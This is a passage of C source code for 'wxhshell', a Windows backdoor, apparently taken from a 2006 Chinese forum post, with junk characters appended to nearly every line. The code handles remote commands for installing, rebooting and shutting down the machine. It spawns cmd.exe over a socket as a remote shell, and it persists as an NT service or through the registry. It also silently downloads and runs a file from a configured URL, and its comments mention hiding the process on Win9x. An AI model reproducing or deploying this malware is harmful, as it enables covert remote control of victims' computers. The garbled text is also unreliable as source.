    switch(cmd[0]) { ?1:/ 6  
  SQU%N  
  // 帮助 ]~Vu-@ /}  
  case '?': { YiuOu(X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pf@}4PN}  
    break; *.c9$`s  
  } (I ds<n"  
  // 安装 50aWFJYw  
  case 'i': { &jZ|@K?  
    if(Install()) Q3%# o+R>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h;p%EZ  
    else i;zGw.;Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9*+0j2uhQ  
    break; llfiNEK5;  
    }  RhNaYO  
  // 卸载 + 4g%?5'  
  case 'r': { @n X2*j*u  
    if(Uninstall()) d.j'0w"   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F]A~~P  
    else d"6]?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tW:/R@@  
    break; N8YBu/  
    } j~S!!Z ]  
  // 显示 wxhshell 所在路径 E9B*K2l^{  
  case 'p': { #K1BJ#KUt  
    char svExeFile[MAX_PATH]; *\:_o5o%[T  
    strcpy(svExeFile,"\n\r"); (g/X(3  
      strcat(svExeFile,ExeFile); 5[2.5/  
        send(wsh,svExeFile,strlen(svExeFile),0); 50GYL5)q  
    break; )R)$T'  
    } 1R%`i '$/  
  // 重启 lhA s!\F  
  case 'b': { 9>&tMq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QcG5PV  
    if(Boot(REBOOT)) EhPVK6@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +%qSB9_>N{  
    else { QiE<[QP{g  
    closesocket(wsh); rK QASRF5*  
    ExitThread(0); px }7If  
    } Ipz 1+ #s'  
    break; d6@jEa-  
    } c`i=(D<  
  // 关机 oUvk2]H  
  case 'd': { EcU'*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -iDEh_pts  
    if(Boot(SHUTDOWN)) b({Nf,(a2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NVc! g  
    else { dXcPWbrU4  
    closesocket(wsh); hHc^ZA  
    ExitThread(0); RQpIBsj  
    } 2WPF{y%/  
    break; i$JG^6,O  
    } ]fADaw-R  
  // 获取shell .5!sOOs$P  
  case 's': { %-ZR~*  
    CmdShell(wsh); mbX)'. +L  
    closesocket(wsh); E/7vIg F  
    ExitThread(0); s1Tl.p5  
    break; ,|. *,  
  } ~nj bLUB  
  // 退出 qHR^0&  
  case 'x': { l!;_lH8W$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F!)M<8jL&9  
    CloseIt(wsh); 14r Vb2^  
    break; .:Bwa  
    } EID)o[<  
  // 离开 <p^*Ydx  
  case 'q': { nGv23R(?G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2z.8rNwT  
    closesocket(wsh); " _:iK]  
    WSACleanup(); mS:j$$]u  
    exit(1); ,_Qe}qFU  
    break; XewXTd #x  
        } s("Cn/ZkS  
  } f OM^V{)T  
  } 2E3?0DL",  
U1>  
  // 提示信息 O2q=gYX>\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \]U<hub  
} Ld\LKwo  
  } @L[PW@:SZ  
/lr1hW~Dbk  
  return; :kb1}Wu  
} 8<yV  
X;OsH  
// shell模块句柄 ]g>m?\'n  
int CmdShell(SOCKET sock) T/GgF&i3  
{ \)^,PA3  
STARTUPINFO si; 0q[p{_t`  
ZeroMemory(&si,sizeof(si)); N)y^</Ya  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~m?74^ i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]&C:>  
PROCESS_INFORMATION ProcessInfo; FDF3zzP0  
char cmdline[]="cmd"; <.r ]dCf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qe5tcv}u  
  return 0; stg30><  
} >'} Y1_S5  
U|Bsa(?nx  
// 自身启动模式 )IFl 0<d  
int StartFromService(void) ;wJ7oj<  
{ S2rEy2\}:  
typedef struct #~H%[ sa  
{ Uz6{>OCvk|  
  DWORD ExitStatus; c~gNH%1XN  
  DWORD PebBaseAddress; xb =8t!  
  DWORD AffinityMask; 5JBB+g  
  DWORD BasePriority; >JKnGeF  
  ULONG UniqueProcessId; xvwD3.1  
  ULONG InheritedFromUniqueProcessId; %[]"QbF?  
}   PROCESS_BASIC_INFORMATION; oLrkOn/aY  
 xFBh?  
PROCNTQSIP NtQueryInformationProcess; @-wNrW$  
SY%A"bC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cBz!U 8(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZnvEv;P  
KTG:I@|C  
  HANDLE             hProcess; '}jf#C1$c  
  PROCESS_BASIC_INFORMATION pbi; BIxV|\k  
h8f!<:rTS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :3KO6/+  
  if(NULL == hInst ) return 0; r{t. c?/  
MV"E?}0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MU_!&(X_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S}oG.r 9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 42rj6m\  
fL ~1  
  if (!NtQueryInformationProcess) return 0; ?,ZELpg n  
= EQN-{#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w^06z,  
  if(!hProcess) return 0; H$z>OS_6U  
BFBR/d[&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m b%C}8D  
W(;x\Nc7  
  CloseHandle(hProcess); zKIGWH=qqm  
;_mgiKHg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]3n, AHA  
if(hProcess==NULL) return 0; c3=-Mq9Q  
+7| [b  
HMODULE hMod; zP_]  
char procName[255]; 9{_8cpm4  
unsigned long cbNeeded; b;S6'7Jf9  
N]B)Fb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fNmE,~  
@ SU8\:(U  
  CloseHandle(hProcess); X AQGG>  
PT3>E5`Nu  
if(strstr(procName,"services")) return 1; // 以服务启动 _Zh2eXWdjM  
4bP13f  
  return 0; // 注册表启动 2]L=s3  
} LtC~)R  
R<"2%oY  
// 主模块 %tT"`%(+  
int StartWxhshell(LPSTR lpCmdLine) Z;ZuS[ZA  
{ !\QeBd+  
  SOCKET wsl; wk" l[cH>  
BOOL val=TRUE; 3(1 ]FKZtt  
  int port=0; b6 $,Xh  
  struct sockaddr_in door; hS4.3]ei  
dZPW2yf  
  if(wscfg.ws_autoins) Install(); x>}B#  
)VNM/o%Q  
port=atoi(lpCmdLine); ARPKzF`Wq  
10mK}HT>4B  
if(port<=0) port=wscfg.ws_port; }7K@e;YUg  
z8IPhE@  
  WSADATA data; ^;.T}c%N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4w 'lu"U  
`,+#!)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z;#%t.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "[k1D_PZ  
  door.sin_family = AF_INET; ful#Px6m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FC6xFg^  
  door.sin_port = htons(port); x Sv-;!y  
<>%,}j 9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M(yH%i^A  
closesocket(wsl); KacR?Al  
return 1;  Do|]eD  
} y<TOqn  
<3b'm*  
  if(listen(wsl,2) == INVALID_SOCKET) { k^z0Lo|)'  
closesocket(wsl); =4eUAeH {w  
return 1; >QXzMN}o  
} _IWxYp  
  Wxhshell(wsl); 2d-{Q 8Pi  
  WSACleanup(); tE@FvZC'=  
l';pP^.q  
return 0; <j;]!qFR  
',GV6kt_k  
} ~8TF*3[}[  
sI'a1$  
// 以NT服务方式启动 D}-o+6TI?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u#1%P5r&X  
{ ]Kv q |}=  
DWORD   status = 0; k}GjD2m  
  DWORD   specificError = 0xfffffff; Y,C=@t@_  
Q $]YD pCM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /#f^n]v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {3LA%xO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _pW_G1U  
  serviceStatus.dwWin32ExitCode     = 0; Av o|v>  
  serviceStatus.dwServiceSpecificExitCode = 0; M i]I:ka  
  serviceStatus.dwCheckPoint       = 0; (?vK_{  
  serviceStatus.dwWaitHint       = 0; 8!&nKy<Y  
$xT1 1 ^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D|l,08n"?  
  if (hServiceStatusHandle==0) return; [& ^RP,N~  
/be=u@KV  
status = GetLastError(); n#4Gv|{XMD  
  if (status!=NO_ERROR) I.1D*!tz  
{ w]nX?S8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z&Ue|Z4Qt  
    serviceStatus.dwCheckPoint       = 0; +c--&tBo  
    serviceStatus.dwWaitHint       = 0; iwU[6A  
    serviceStatus.dwWin32ExitCode     = status; F?9SiX[\  
    serviceStatus.dwServiceSpecificExitCode = specificError; Di>rO038  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2:Q(Gl`<l  
    return;  ;\qXbL7  
  } P>(P2~$Y"  
qNxB{0(D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VevNG *  
  serviceStatus.dwCheckPoint       = 0; Fi4UaJ3K  
  serviceStatus.dwWaitHint       = 0; rFey4zzz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A?8\Y{FQ  
} *t(4 $  
wO7t!35  
// 处理NT服务事件,比如:启动、停止 4/'N|c.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XV>@B $hu  
{ v>H=,.`0\  
switch(fdwControl) ]!Oue_-;  
{ Lu=O+{*8  
case SERVICE_CONTROL_STOP: je%ldY]/@  
  serviceStatus.dwWin32ExitCode = 0; UX2lPgKdLz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hJ f2o  
  serviceStatus.dwCheckPoint   = 0; E =AVrv5T  
  serviceStatus.dwWaitHint     = 0; jZd}O C<  
  { 2/B)O)#ls  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1oty*c  
  } xzm@ v(  
  return; )6-9)pH@)  
case SERVICE_CONTROL_PAUSE: [ ny6W9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZSB?Y 1wG  
  break; l+zb~  
case SERVICE_CONTROL_CONTINUE: vN65T$g7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n-J2/j  
  break; dz-y}J11  
case SERVICE_CONTROL_INTERROGATE: t> xd]ti  
  break; (RE2I  
}; Q9c)k{QZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FOH@OY  
} w<NyV8-hL  
O)]v;9oER  
// 标准应用程序主函数 Xgat-cy'DA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [&#/|zH'j:  
{ =sgdkAYwP  
2'|8Q\,:4Z  
// 获取操作系统版本 QA?oJ_}y  
OsIsNt=GetOsVer(); [=uIb._Wv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eKG2*CV  
/Vww?9U;  
  // 从命令行安装 y 9L14  
  if(strpbrk(lpCmdLine,"iI")) Install(); `s"d]/85VW  
d ~`V7B2Y  
  // 下载执行文件 g`0moXz  
if(wscfg.ws_downexe) { nlGHT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^U@~+dw  
  WinExec(wscfg.ws_filenam,SW_HIDE); iPj~I  
} ^YlI>_3s  
TQ ]dW  
if(!OsIsNt) { Z9K})47T  
// 如果时win9x,隐藏进程并且设置为注册表启动 gb" 4B%Hm  
HideProc(); -SCM:j%h  
StartWxhshell(lpCmdLine); ~F!,PM/  
} H:QhrL+7_  
else Z>P*@S,6G  
  if(StartFromService()) $_Nf-:D*  
  // 以服务方式启动 w0lT%CPx  
  StartServiceCtrlDispatcher(DispatchTable); fCw*$:O  
else ;11x"S  
  // 普通方式启动 ru9zTZZD  
  StartWxhshell(lpCmdLine); "rhYCZ B  
.0p^W9  
return 0; N|usFqCNk^  
}
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只看该作者 1 发表于: 2006-10-10
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